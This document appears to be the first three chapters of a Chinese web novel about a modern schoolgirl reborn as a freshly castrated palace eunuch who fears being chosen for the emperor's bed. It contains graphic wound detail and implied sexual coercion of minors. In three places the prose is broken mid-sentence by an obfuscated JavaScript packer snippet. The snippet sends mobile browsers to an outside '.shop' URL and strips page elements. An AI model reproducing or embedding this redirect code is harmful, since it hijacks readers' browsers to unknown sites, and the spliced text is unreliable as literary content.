《太监求生记(女穿男)》 1. 第 1 章 冰冷。 还有一股怎么都挣脱不开的束缚感,像是被浸了水的厚重毯子紧紧裹住,沉甸甸地压在身上,连呼吸都变得奢侈。 四周是颠簸的,一下,又一下,伴随着粗糙物体摩擦地面的沙沙声,以及一股难以言喻的恶臭,腐烂物与血腥气混杂在一起,无孔不入地钻进鼻腔。 关禧的意识像在深海里沉了太久,此刻才挣扎着浮起一丝微光。她最后的记忆,还停在那盏惨白的晚自习灯光下,停在数学卷末那道扭曲的符号上,停在那阵骤然刺穿心脏,让她眼前一黑的剧痛里。 所以……这里是死后的世界吗? 可如果只是猝死,心口的痛楚为什么会被另一种感觉彻底覆盖,从身体下方,从那难以启齿的部位传来,火辣,撕裂,像持续碾过神经的钝刀,比心脏的骤停更真实,也更凶狠地冲刷着她残存的意识。 “唔……” 她试图发声,喉咙却像被砂纸打磨过,只挤出一点残破的气音。 “嘿,轻点儿!”不远处响起一个尖细的声音,透着不耐,“死沉死沉的,早点丢去化人场了事。” “妈的,真晦气。”另一个声音抱怨道,“这才进来几天?身子骨这么弱,去个势都能要了命,白费了王公公挑他一副好相貌。” 去势?好相貌? 关禧混沌的大脑捕捉到这两个词,还没等她理解其中的含义,身体又是一阵更剧烈的颠簸,被重重掼在地上。 “砰!” 这一下撞击,彻底将她从半昏迷状态中震醒。那下身本就存在的剧痛,像滚油中投入冰块,轰然炸开,席卷四肢百骸。那是一种足以让人发疯的疼,像是有人拿着钝刀在那最脆弱的部位反复切割,又像是烧红的烙铁反复烫在伤口上。 “操——!我艹你大爷——!” 一声石破天惊的,字正腔圆的,用尽了全身力气的怒吼,从她喉咙里迸发出来。 中气十足,响彻了这个阴暗的空间。 裹挟着她的那股束缚感消失了,那是一张破旧的草席,被人用力扯开。 冰冷的,带着浓重霉味和尸臭的空气涌入肺里,关禧睁开眼,眼前先是模糊的一片,只有昏暗的光线和几个扭曲晃动的影子。 “啊——!” “诈尸啦——!” 两声比她的国骂还要凄厉十倍的尖叫响起。 关禧勉强聚焦视线,看到两个穿着灰扑扑古代宦官服饰,面白无须的人,正连滚带爬地向后退去,脸上是见了鬼一样的极致恐惧,其中一个甚至腿软得瘫倒在地,手脚并用地向后蹭,裤/裆处迅速洇开一片深色的水渍。 关禧无暇理会他们,疼痛吞噬了全部思维,她低头,看向自己疼痛的来源。 身上是件脏得辨不出本色的单薄中衣,而下身……那个本该熟悉的部位,竟被肮脏布条胡乱缠裹。布条浸透暗沉的血与黄褐的脓,甚至和底下溃烂的皮肉黏连在一起。 这不是她的身体。 这个认知就像冰水浇头,让她打了个寒颤。她抬起手,映入眼帘的是一双骨节分明,异常苍白瘦削的手,腕骨纤细,指甲泛着不健康的青色,这也不是她那双因为常年写字而带着薄茧的高中生的手。 未及她细想,一些破碎混乱的画面便轰然冲入脑海。 瘦弱的少年蜷缩在破旧的茅草屋里,听着父母叹息:“送进宫吧……总比饿死强……” 散发着血腥气和草药味的蚕室。固定在木板上的恐惧。手持特殊刀具的阴影。 黑暗潮湿的大通铺,其他小太监鄙夷又含妒的窃窃私语:“长得跟个娘们似的……”“哼,指不定凭这张脸往上爬呢……” 下身伤口持续的红肿,发热,流脓,疼得整夜整夜睡不着,浑身滚烫,意识在高温和痛苦中一点点剥离…… 小离子。 这个身体的名字,或者说,编号。一个因家贫被送入宫中,刚受完宫刑不久,便因伤口溃烂感染,在高烧和剧痛里咽了气的十五岁小太监。 而她,关禧,一个二十一世纪的高中女生,就在这具身体刚刚断气,被人用草席一卷准备拖去停尸房的时候,穿了进来。 “我……操……”关禧,或者说现在的小离子,从牙缝里挤出这两个字,声音嘶哑。 穿越?她认了。好歹是活过来了。 可为什么是太监?!还是个伤口感染,眼看就要二次嗝屁的太监?! 那两个被吓破胆的太监已经连滚带爬地尖叫着跑远了,停尸房里,只剩下她一个人,和周围几具用草席盖着的,早已冰凉的尸体。 不能死。绝对不能死第二次! 求生的本能压倒了对身体剧痛和诡异处境的恐惧与恶心。 药!必须有药! 原主小离子就是死于术后感染,她绝不能重蹈覆辙。停尸房这等死寂之地,自然不会备有救命的药物,但方才那两个仓皇逃走的太监呢?他们身上,或者他们的住处,或许会有。 她强忍着下身撕裂般的剧痛,浑浊的目光艰难地扫视着地面。有了!就在不远处,一个灰扑扑的小布包静静躺在那里,显然是方才那两人惊吓过度遗落的。 希望的火苗骤然点燃。她咬紧牙关,用手肘死死抵住湿冷的地面,开始向那布包一寸寸挪动。仅仅是这样一个简单的动作,却牵扯着下身的伤口,就像在刀尖上翻滚,冷汗浸透了她单薄的中衣,额前碎发黏在苍白的皮肤上,视线因剧痛而阵阵发黑,几欲晕厥。 区区几米的距离,此刻漫长得如同天堑。 “撑住……关禧……你他爹给我撑住……”关禧语无伦次地给自己打着气,混杂着现代的自称和这具身体带来的潜意识,“不能死……死了就真成太监了……不对……活着也是太监……爹的……” 终于,手指触碰到了那个粗糙的布包,她颤抖着打开,里面只有几枚铜钱,一块硬得像石头的干粮,还有一小包用油纸包着的东西。她急切地打开油纸包,里面是些许粗糙的,褐色的粉末,带着淡淡的草药味——是最普通廉价的金疮药,量很少,显然是低阶太监随身备着以防万一的。 这点药,可能远远不够,但这是希望。 她艰难地侧过身子,靠着冰冷的墙壁,喘着粗气,颤抖着手去解下身那些黏连着皮肉的布条。每揭开一点,都伴随着皮肉被撕开的剧痛和新的脓血涌出。 她看得头皮发麻,胃里翻江倒海。 当最后一点布条被揭开,露出下面那因宫刑和感染而显得狰狞红肿,溃烂流脓的伤口时,关禧终于忍不住,扭过头,“哇”的一声吐了出来。胃里空空如也,只有一些酸水,灼烧着喉咙。 生理性的泪水汹涌而出,她一边吐,一边哭,一边骂:“爹的……爹的……这他爹是什么人间疾苦……疼死我了……” 吐完了,哭够了,求生的欲望再次占据上风。她小心翼翼地,将那些宝贵的药粉一点点,尽量均匀地撒在那恐怖的伤口上。 “嘶——!” 药粉接触到溃烂创面的瞬间,一种不同于之前剧痛,就像是无数根细针同时扎刺的感觉传来,让她浑身痉挛,差点把药包扔出去。 倒完了所有药粉,伤口被薄薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892372|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一层粉末覆盖,那尖锐的刺痛感才稍微缓解,取而代之的是一种略带清凉的麻木感,似乎将那灼热的剧痛也暂时压下去了一点点,她咬着牙,撕下自己相对干净的中衣内衬,勉强重新包扎了一下。 做完这一切,她脱力地瘫软在地上,像一条离水的鱼,大口大口地喘着粗气,浑身上下都被冷汗浸透,单薄的中衣紧紧贴在皮肤上,又冷又黏。 活下来了……暂时。 这个认知让她紧绷的神经稍微松弛了一瞬,但随即,更深的绝望如潮水般涌来。 她变成了一个太监。一个生活在等级森严,动辄得咎,人命如草芥的古代皇宫里的,最底层的小太监。没有未来,没有尊严,甚至连最基本的健康都是一种奢望。小离子残存的记忆里,充斥着饥饿,寒冷,责打,以及无处不在的,对于更高阶层的恐惧。 而且…… 一些更为清晰的记忆碎片,在她稍微缓过气后,浮现出来。 除了日复一日的杂役,打扫,学习规矩,还有一种特殊的差事。 年长的太监带着暧昧又畏惧的语气提起的——侍寝。 给皇帝。 这个架空王朝,国号“晟”,现任皇帝年轻而……据说在某些方面有些特殊的癖好。他不仅后宫佳丽三千,偶尔,也会召幸一些容貌清秀俊美的小太监。 被选中去侍寝的太监,会用特殊的香汤沐浴,穿上轻薄的纱衣,送去皇帝的寝宫。而关于侍寝的具体细节,小离子的记忆里一片模糊,只有年长太监们讳莫如深又带着怜悯的眼神,以及那些被选中的小太监回来后,往往都会病上一场,甚至有人就此消失的传闻。 侍寝…… 关禧的胃又开始抽搐。她是一个女生,哪怕灵魂塞进了一个男性的身体里,她的内心,她的认知,都还是那个会因为收到情书而脸红,会和闺蜜偷偷讨论隔壁班花的十七岁少女。 去给一个男人侍寝?!一个掌握着生杀予夺大权的古代皇帝?! 光是想象那个画面,她就恶心得几乎要再次吐出来。 不,不行!绝对不行! 她挣扎着,用手臂支撑起身体,环顾这个阴暗的停尸房。角落里有一盆用来擦拭,或许只是象征性地擦拭尸体的,浑浊不堪的积水。她咬着牙,再次忍受着挪动带来的剧痛,爬了过去。 水面倒映出一张脸。 一张因为失血和疼痛而异常苍白憔悴,却依旧难掩其精致轮廓的脸。眉型细长,鼻梁挺直,双唇虽血色淡薄,但形状优美。最引人注目的是那双丹凤眼,眼尾天然微挑,即便此刻盛满了痛楚,仍能瞥见其底处流转的多情。整张脸介于少年与少女之间,阴柔而不失俊美,宛如一株被风雨摧折却未曾凋尽的花。 难怪……记忆里会有那些关于他相貌的议论,也难怪……他会被纳入那潜在的侍寝名单。 关禧看着水中这张陌生的,属于小离子的脸,心头一片冰凉。 他必须好起来,必须在这个吃人的地方活下去。但活下去,就意味着可能要面对那种比死亡更让他难以忍受的屈辱。 距离下一次挑选侍寝内侍,还有多久? 小离子残缺的记忆给出了一个模糊的时间—— 好像……就在几天之后。按照惯例,每月初一,内务府会呈上一批新进且相貌端正的小太监名册和画像,供那位陛下……翻阅。 而他,顶着这样一张脸,在一个刚刚诈尸,引人注目的状态下…… 关禧猛地抬手,狠狠砸向那盆污水。 “哗啦!” 水花四溅,倒影破碎。 2. 第 2 章 还没等关禧从这绝望的冲击中完全回过神,一阵杂乱而急促的脚步声由远及近,伴随着刚才那两个太监惊魂未定的告状声: “王、王公公!千真万确!就、就那个小离子,他、他诈尸了!还、还会骂人!骂得可难听了!” “是啊公公,小的们亲眼所见,他猛地就坐起来了,那眼神……凶得很呐!” 脚步声在停尸房门口停下。 一股比尸臭更浓烈些的,混合着香粉和老年体味的气息弥漫开来。 关禧艰难地抬起头,透过模糊的视线,看到一个穿着藏青色缎面宦官服,身材微胖,面皮松弛的老太监,正被两个小太监搀扶着,站在门口。 这就是王公公,负责管理他们这批新进小太监的掌事太监之一,也是当初挑中小离子好相貌的人。 王公公眯着眼,仔细打量了一下瘫在地上,浑身湿透狼狈不堪的关禧,尤其在他那张即使苍白如纸也难掩精致的脸上停留了片刻。 “啧……没死透?命倒是硬。” 他显然也看到了关禧下身那虽然简单处理过,但依旧渗出脓血,惨不忍睹的状况,以及他因为剧痛和虚弱而无法控制的颤抖。 “公公……他、他这……”旁边的小太监还想说什么。 王公公摆了摆手,打断了他,脸上露出明显的不耐烦:“行了行了,瞧这半死不活的样子!拖回去也是晦气,还指望他干活?还是侍寝?”他嗤笑一声,“就他现在这德行,污了陛下的眼,咱家有几个脑袋够砍的?” 这话如同赦令,让关禧紧绷的心弦稍稍一松。至少,暂时不用担心被拖去侍寝了。 “那……公公,把他再扔回去?”另一个小太监试探着问,指了指停尸房里面那些盖着草席的同僚。 王公公没回答,又上下扫了关禧一眼,目光在他因为刚才挣扎而散开的衣领处停留了一瞬,那里露出的锁骨线条清晰可见,皮肤是病态的苍白,却更衬出一种脆弱的易碎感。 “到底是咱家亲手挑进来的人……”王公公拖长了语调,似乎在权衡什么,“虽说没福气,但就这么扔这儿,传出去也不好听,显得咱家不体恤下面人。” 他顿了顿,终于做出了决定:“拾掇拾掇,抬回他原来那屋角落里去。是死是活,看他自己的造化。要是能熬过来……”他后面的话没说完,又意味深长地看了关禧一眼,那眼神让关禧刚刚稍安的心又提了起来——那绝不仅仅是怜悯,更像是在评估一件尚有潜在价值,但暂时破损了的物品。 “听见没?还不快动手!”王公公对那两个小太监喝道。 那两个太监虽然害怕,但更不敢违逆王公公,只得战战兢兢地走上前,忍着恶心和恐惧,一人一边,粗暴地架起关禧的胳膊,将他从地上拖了起来。 “呃……”这一下动作牵扯到伤口,关禧疼得眼前一黑,几乎晕厥过去,喉咙里溢出痛呼。 “轻点儿!弄死了你们担待得起吗?”王公公不满地呵斥。 两个小太监连忙放轻了动作,几乎是半拖半抬地,将关禧带离了这个恶臭的停尸房。 他被带回了原来住的那间低等太监居住的大通铺房间,被随意地扔在了最里面,靠近墙角,原本就属于“小离子”的那个潮湿冰冷的铺位上。 同屋的其他小太监们看到被抬回来的关禧,脸上表情各异,有惊讶,有恐惧,有漠然,也有毫不掩饰的幸灾乐祸和鄙夷。 “居然没死成?” “命真大,晦气!” “瞧他那样子,还能活几天?” “王公公怎么还把他弄回来了……” 细碎的议论声像苍蝇一样嗡嗡作响。 没有人上前帮忙,没有人询问,更别提照顾。在这里,自身难保是常态,同情心是奢侈品。 关禧蜷缩在冰冷的硬板铺上,身下只垫着一层薄薄的,散发着霉味的床单。伤口的剧痛,高烧带来的眩晕,以及深入骨髓的寒冷,让他止不住地颤抖。 王公公的话在他脑海里回荡——“是死是活,看他自己的造化。”“要是能熬过来……” 他知道,所谓的造化,就是他必须靠自己挺过这场严重的感染。而熬过来之后,等待他的,恐怕也绝非自由和安宁。王公公那最后的眼神,分明是在说,只要这张脸还在,只要这具身体还能动弹,那侍寝的可能性,就就像悬在头顶的利剑,并未真正消失。 几天后的挑选,他或许因为伤病逃过一劫。 但下一次呢?下下次呢? 只要他还在这个皇宫里,只要他还是个身份卑贱,生死不由己的小太监,这个威胁就永远存在。 不行……绝对不能坐以待毙。 关禧在心底嘶吼。他必须好起来,必须找到办法,要么彻底摆脱这个身份,要么……就爬到足够高的位置,高到能够掌控自己的命运。 药……需要更好的药,食物,干净的水,保暖的衣物,这些最基本的生存需求,此刻成了他必须奋力争取的东西。 他艰难地转动眼球,看向屋子里那些或冷漠或恶意的面孔,最终,目光落在了离他不远的一个小太监身上。那孩子看起来年纪更小,面黄肌瘦,眼神里带着怯懦,在他看过去时,迅速低下了头。 或许……这是一个可以尝试利用的突破口? 关禧舔了舔干裂出血的嘴唇,用尽全身力气,对着那个小太监的方向,发出了微不可闻,带着明确指向性的气音: “水……” 那个面黄肌瘦的小太监身体明显僵了一下,他飞快地抬眼瞥了关禧一眼,对上那双因痛苦而显得湿漉漉的眸子,又迅速低下头去,手指紧张地绞着衣角。 周围响起几声不屑的嗤笑。 “还当自己是个主子呢?都要死的人了,摆什么谱?” “就是,还想使唤人?” 关禧没理会那些嘲讽,死死盯着那个怯懦的小太监,用气音重复着:“水……求你……” 那小太监似乎挣扎了一下,最终还是抵不过那目光中的恳求。他飞快地左右看了看,趁其他人或假寐或窃窃私语没太注意这边时,像只受惊的小老鼠般溜到房间角落一个破旧的水缸边,用半个破口的陶碗舀了一点浑浊的冷水,又迅速溜了回来,蹲在关禧的铺位前,小心翼翼地将碗沿凑到他干裂的唇边。 “快喝点吧……”他的声音比关禧大不了多少,细细弱弱的。 关禧几乎是凭着本能,贪婪地啜吸着那带着泥土腥味的冷水。冰凉的液体滑过灼痛的喉咙,暂时缓解了那火烧火燎的干渴,也让他混沌的意识清醒了一点点。 “谢谢……”他喘着气,哑声道谢,目光落在小太监那张营养不良,但依稀能看出几分清秀底子的脸上,“你……叫什么名字?” “我叫石头……”小太监小声道,下意识地往后缩了缩,似乎害怕和这个诈尸回来的人有太多牵扯。 “石头……”关禧重复了一遍,努力让自己的声音听起来更和缓,尽管每一个字都牵扯着全身的疼痛,“我好像烧得厉害,很多事记不清了,这里是什么地方?我们都是要等着侍寝的吗?”他问出了最核心的问题,声音压得极低,只有他们两人能听见。 石头听到“侍寝”两个字,脸色瞬变得惨白,眼神里充满了恐惧,他摇头,又飞快地点点头,语无伦次地低语:“离子哥,你、你真的不记得了?这里是掖庭最北边的净舍,我们、我们都是新进来的……因为、因为长得还算周正,都被记了名,归王公公管……” 他咽了口唾沫,偷偷看了眼门口,才继续哆哆嗦嗦地解释:“听、听早进来的哥哥们说,皇帝陛下……他有时候会召幸内侍……每月初一,内务府会送一批人的名册和画像去……被选中的,就要去侍奉……” “我不想被选中……好多被选中的,回来都病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892373|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,有的就再也没回来……小安子,就是上次被选中的,回来第二天就投了井……” 关禧的心沉了下去。果然如此。这个所谓的净舍,简直就是个待宰的羔羊圈养处。屋子里这些面容尚可的小太监,都是潜在的贡品。 “王公公……他是什么人?”关禧继续问,他必须尽快了解这里的权力结构。 “王公公是内务府派来的掌事太监,管着我们这些人。他挑人很严的,当初选中离子哥你,就是因为你长得最好看……”石头说着,又害怕地看了关禧一眼,“王公公说,能伺候陛下是天大的福气,要我们……要我们听话……” 福气?关禧内心冷笑,这福气给你要不要? “除了侍寝……我们平时做什么?” “平时……就是学规矩,打扫宫苑,做一些杂役……但像我们这样被记了名的,重活累活一般不用做,王公公说……要养着……”石头的声音细若蚊蝇。 养着,像养牲口一样,保持品相,等着被挑选。 “我的伤……必须要好起来,需要药,石头,你知道哪里能弄到药吗?或者……找太医?”关禧抱着微弱的希望问。 石头惊恐地瞪大了眼睛,连连摆手:“不、不行的!太医都是给主子们看病的,我们这样最低等的内侍,病了伤了都是自己熬着,熬不过就去化人场……王公公刚才肯让你回来,已经是天大的恩典了,怎么可能请太医?药也都是上面赏下来的,很少,很金贵……” 果然。关禧闭了闭眼,压下心底翻涌的绝望。在这里,底层人的命根本不值钱。 “那……吃的呢?还有,怎么才能……不被选中?”他问出了最关键的问题。 “吃的……一天两顿稀粥,一个粗面馍馍……有时候会有一些剩菜……”石头老实回答,至于第二个问题,他茫然地摇了摇头,“不知道……听说,除非破了相,或者得了恶疾,或者……或者像小离子哥你现在这样,病得下不了床……否则,名册递上去了,就只能听天由命……” 破相?恶疾?关禧下意识地摸了摸自己的脸,触手是滚烫的皮肤和清晰的骨骼轮廓。这张脸现在是他的保命符,也是他的催命符。 正当他还欲再问,门外传来脚步声和呵斥声:“都聚在一起干什么?想偷懒不成?还不滚去干活!” 是管理他们的另一个管事太监。 石头像受惊的兔子一样猛地跳开,缩回了自己的铺位,低着头不敢再看关禧。 其他小太监也立刻作鸟兽散,各自找活干去了,没人再多看关禧一眼,仿佛他是个不祥的瘟疫源。 关禧独自蜷缩在冰冷的角落,身下的稻草散发着霉味,下身的剧痛和全身的高烧持续不断地折磨着他。石头的话在他脑海里盘旋——晟朝,掖庭,侍寝,王公公,名册,初一…… 时间不多了。 他必须在自己被那该死的名册再次推到皇帝面前之前,好起来,并且找到出路。 要么,让自己变得无用,比如真的让自己病弱到无法侍寝,但这风险太大,可能直接病死。要么……就利用一切可能,向上爬,或者找到靠山,获得一丝自主权。 可是,一个刚进宫,重伤在身,毫无根基的小太监,能做什么? 关禧的目光再次扫过这个阴暗潮湿的房间,扫过那些或麻木或恐惧的年轻面孔,最后落在自己那双苍白纤细,紧紧握成拳头的手上。 他深吸一口气,那带着霉味和痛苦的空气涌入肺腑。 无论如何,不能放弃。她曾是关禧,一个为了解出数学压轴题能熬夜到凌晨的倔强高中生。现在,她成了小离子,一个在深宫里挣扎求生的太监。解题的条件变了,环境变得更残酷,但那股不服输的劲头,不能丢。 首先,活下去。熬过感染,恢复体力。 然后……找出这个吃人皇宫的规则,利用规则,或者……打破规则。 3. 第 3 章 接下来的几天,关禧都是在铺位上挺尸度过的。 下身伤口的剧痛和高烧如同跗骨之蛆,反复折磨着他脆弱的神经。大部分时间,他都昏昏沉沉,意识在现代的教室与古代皇宫的阴暗角落之间来回穿梭,时而惊醒于心脏骤停的幻痛,时而又被下身真实的,火辣辣的撕裂感疼得冷汗涔涔。 他只能老老实实躺着,尽量减少任何不必要的移动。每一次翻身,都像是一场酷刑,牵扯着那脆弱而狰狞的伤口,让他从牙缝里倒吸冷气。 起初,他还能强迫自己保持警惕,观察着屋内的动静,思考着未来的出路。可随着时间的推移,在病痛和无聊的双重夹击下,他的精神也开始变得有些恍惚。 “正弦定理与余弦定理的联立推导……”他盯着屋顶结网的蜘蛛,无意识地喃喃自语,那些被反复验算的公式早已融入本能,“……若在三角形ABC中,a/sinA=b/sinB=c/sinC=2R,且c??=a??+b??-2ab·cosC,那么,时空穿越的曲率半径该如何求解?需要黎曼几何……还是张量分析?……爹的,这题超纲了……” 声音嘶哑低沉,只有他自己能听见。 “关禧……小离子……我到底是谁?”他有时又会陷入身份认知的混乱,“女生……太监……这身体……到底算怎么回事……” 他甚至开始怀念起那令人头疼的数学卷子,至少那代表着一种有序,可以逻辑推演的世界,而不是像现在这样一切都充满了痛苦和未知的恐惧。 然而,再混乱的思绪,也抵挡不住最原始的生理需求。 喝水,有石头偶尔偷偷接济一点浑浊的冷水。 但另一件事,成了他每日必须面对的折磨——解手。 重伤未愈,他无法自行走去远处的茅房,事实上,他也根本走不了那么远。屋子里只有一个散发着刺鼻骚味的恭桶,放在最阴暗的角落,供所有小太监使用。 当强烈的便意再次袭来时,关禧是绝望的。 他不想去。不仅仅是行动不便,更深层的原因是心理上的极度排斥。那属于男性的身体部位,是他竭力想要忽视和否认的存在。每一次触碰,都像是在提醒他这个荒诞的现实。 可身体的生理反应无法抗拒。小腹的胀痛越来越强烈,几乎要压倒伤口的疼痛。 他咬着牙,额头渗出冷汗,挣扎着用手肘和尚且完好的那条腿的力量,一点一点地从铺位上挪下来,艰难地走向那个散发着恶臭的角落。 每移动一寸,下身伤口都被牵扯着,疼得他眼前发黑,几乎要晕厥过去。冷汗浸透了单薄的中衣,紧贴在冰冷的皮肤上。 终于走到了恭桶边。他背靠着冰冷的墙壁,喘息了好一会儿,才颤抖着手,去解那脏得看不出颜色的裤子。 这个过程对他而言,不啻于一场凌迟。 他强忍着恶心和剧烈的心理不适,偏过头,屏住呼吸,完成了这场不得不为的释放。 结束后,他逃也似的,用最快的速度整理好衣物。哪怕这个“快”对于他现在的状态来说,也慢得像蜗牛。然后,再次依靠手臂和腿部的力量,拖着疼痛不堪的身体,一点一点爬回那个铺位。 当他终于重新瘫倒在床上时,已经耗尽了全部力气。 像刚从水里捞出来一样,浑身温透,只剩下喘息和因为疼痛而微微颤抖的份儿。 门口传来了轻微的响动。 是石头回来了。 与往常那种怯懦畏缩,或者带着同情的神色不同,今天的石头,脸上竟然带着一丝难以掩饰的兴奋。 他脚步轻快地溜进屋子,先是习惯性地缩了缩脖子,看了看其他或躺或坐,没什么精神的同伴,然后目光落在了角落里的关禧身上。 见关禧还醒着,石头犹豫了一下,还是忍不住凑了过来,蹲在他的铺位前,“离子哥!你猜我今天去哪儿打扫了?” 关禧勉强睁开沉重的眼皮,看着石头那张因为兴奋而微微泛红的脸,没力气说话,只是用眼神示意他继续说。 “是玉芙宫!徐昭容娘娘住的玉芙宫!我的天,那里可真漂亮啊,香香的,地砖都亮得能照出人影!我们还远远地看到娘娘在院子里赏花呢,穿着鹅黄色的裙子,跟画里的仙女一样!” 石头絮絮叨叨地描述着玉芙宫的华丽,徐昭容的美貌,以及他们这些负责外围酒扫的小太监是如何小心翼翼,连大气都不敢喘。 “娘娘脾气好像很好的样子,还让身边的宫女姐姐赏了我们几个银锞子呢!”石头从怀里小心翼翼地摸出一个小巧的银锞子,在关禧眼前飞快地晃了一下,又赶紧藏好,脸上是捡到宝贝的喜悦,“离子哥,等你好了,说不定也能被分到这么好的宫苑当差呢!” 关禧看着石头那因为一点小小的赏赐和见识了一点宫廷浮华就兴奋不已的样子,瘪了瘪嘴。 玉芙宫?徐昭容? 在小离子零碎的记忆里,似乎有点印象,是个还算得宠的妃嫔。但在关禧看来,那不过是另一个精致的牢笼。石头眼中的仙境,对他而言,只是吃人皇宫里稍微漂亮一点的屠宰场前厅。 而石头天真的话语——“等你好了,也能被分到这么好的宫苑当差”,更像是一句无心的诅咒。分到好宫苑,意味着离权力中心更近,也意味着……离那个侍寝的漩涡更近。 他没有回应石头的兴奋,缓缓闭上了眼睛,将头转向墙壁内侧。 石头见关禧累了,也不再多话,揣着他的银锞子,心满意足地回到了自己的铺位,大概还在回味着今天在玉芙宫的见闻。 没过一会。 门外传来了一阵与平日里管事太监不同的,略显拖沓却带着特定节奏的脚步声。 屋内瞬间安静下来,连石头都屏住了呼吸,所有小太监像是被无形的手扼住了喉咙,惊慌地望向门口。 藏青色的缎面衣角出现在门槛处,带着那股熟悉的,混合着香粉与陈腐气息的味道。 是王公公。 他今天没让人搀扶,独自走了进来,那双细长的眼睛习惯性地在屋里扫了一圈,像检查牲口一样掠过一张张紧张惶恐的脸,最后,落在了墙角蜷缩着的,明显与周围活力格格不入的关禧身上。 “啧,”王公公的视线在关禧苍白的脸上停留片刻,又滑过他身上那件脏污不堪,被冷汗反复浸透的中衣,鼻腔里发出一声意味不明的轻哼,“还没咽气呢?” 他的声音不高,却让整个屋子的人都打了个寒颤。 关禧勉强睁开眼,对上王公公那审视的目光,更紧地蜷缩了一下身体,发出一声压抑的抽气声,在这种时候,任何不必要的表现都是危险的。 王公公对他的识相还算满意,不再看他,转而面向屋内众人,尖细的嗓音带着惯常的拿腔拿调:“都听着,算你们这帮小崽子运气好,上头开恩,念你们刚进宫不久,身子骨还没养利索,这个月的名册,就先不递你们上去了。” 这话如同赦令,屋内紧绷的气氛一松,众人连带着呼吸都顺畅了不少。几个胆子稍大的,脸上甚至露出了劫后余生的庆幸。 石头更是激动得差点哭出来,偷偷用袖子擦了擦眼角。 王公公将众人的反应尽收眼底,嘴角扯出一丝不易察觉的讥讽,慢悠悠地继续道:“但是!也别高兴得太早!进了这宫门,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892374|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是主子跟前伺候的人,规矩,本分,一样都不能少!养着你们,不是让你们吃白饭的!” 他顿了顿,提高了音量:“从明儿起,都给我打起精神来!掖庭局那边缺人手,你们这批,分派到各宫苑去打下手,洒扫,搬运,侍弄花草,都学着点儿!要是谁敢偷奸耍滑,丢了咱家的脸……”他冷哼一声,后面威胁的话不言自明。 小太监们刚刚放松的心又提了起来,纷纷低下头,喏喏称是。 王公公这才似乎想起了什么,目光再次转向关禧,眉头微皱,对身后跟着的一个小太监吩咐道:“去,弄碗稀点的米汤来,再找床干净点的铺盖给他换上。瞧这半死不活的样子,别真死在这儿,污了地方。” 他又看向关禧,语气说不上是关怀还是警告:“小离子,咱家给你机会养着,你就得自己挣命。赶紧好起来,宫里不养废物,明白吗?” 关禧垂下眼睫,掩去眸中复杂的情绪,用尽力气,发出细弱蚊蝇的声音:“谢……谢公公……恩典……小的……明白。” 王公公满意了,不再多留,转身踱着步子离开了,留下满屋心思各异的小太监。 很快,王公公吩咐的米汤和干净铺盖送来了。米汤是清汤寡水,只能看到碗底几粒米,但那点温热和碳水化合物,对于饥渴交加,高烧虚弱的关禧来说,不亚于琼浆玉液。 石头主动接过米汤,小心翼翼地喂给关禧。 温热的液体滑过喉咙,带来一丝微弱的暖意,暂时压下了胃里的灼烧感。关禧小口小口地啜吸着,感受着那点微不足道的能量注入四肢百骸。 他知道,王公公的恩典绝非善意。不让他死,是因为他这张脸还有潜在的价值;不让他上名册,是因为他现在这副尊容送上去也是触怒天颜;给他一点基本的生存物资,是为了吊着他的命,让他能恢复使用价值;而分派去各宫打杂,则是要让他们这些储备熟悉宫廷环境,学习规矩,以便将来能更好地侍奉。 一切,都充满了算计和利用。 但无论如何,他获得了喘息的机会。不用立刻面对皇帝,有了稍微好一点的养伤环境,还有了走出这个阴暗角落,接触外界的机会。 第二天,伤势稍轻,行动无碍的小太监们就被分批带走了,屋子里顿时空了大半。石头也被分去了某个不知名的宫苑负责酒扫,临走前,他偷偷塞给关禧半个他自己省下来的粗面馍馍。 关禧靠着那碗米汤,半个馍馍,以及石头偶尔偷偷接济的冷水,还有那床干净些的铺盖,开始了一场和伤痛的拉锯战。 他不再胡思乱想,将所有精力都集中在活下去这件事上。他强迫自己喝下每一口能得到的食物和水,忍受着换药时那钻心的疼痛,努力调整呼吸,积攒着每一分力气。 时间一天天过去。身下的剧痛从尖锐的撕裂感,逐渐变成了钝痛和瘙痒交替,高烧也慢慢退去。 几天后,当管事太监过来查看,发现关禧竟然能勉强靠着墙壁坐起来时,脸上也露出了一丝惊讶。 “命倒是真硬。”管事太监嘀咕了一句,没再多说什么。 又过了几天,关禧已经能扶着墙壁,慢慢挪到门口晒太阳了,虽然每一步都依旧艰难,伤口还会隐隐作痛,但至少,他摆脱了只能瘫倒在铺位上的绝境。 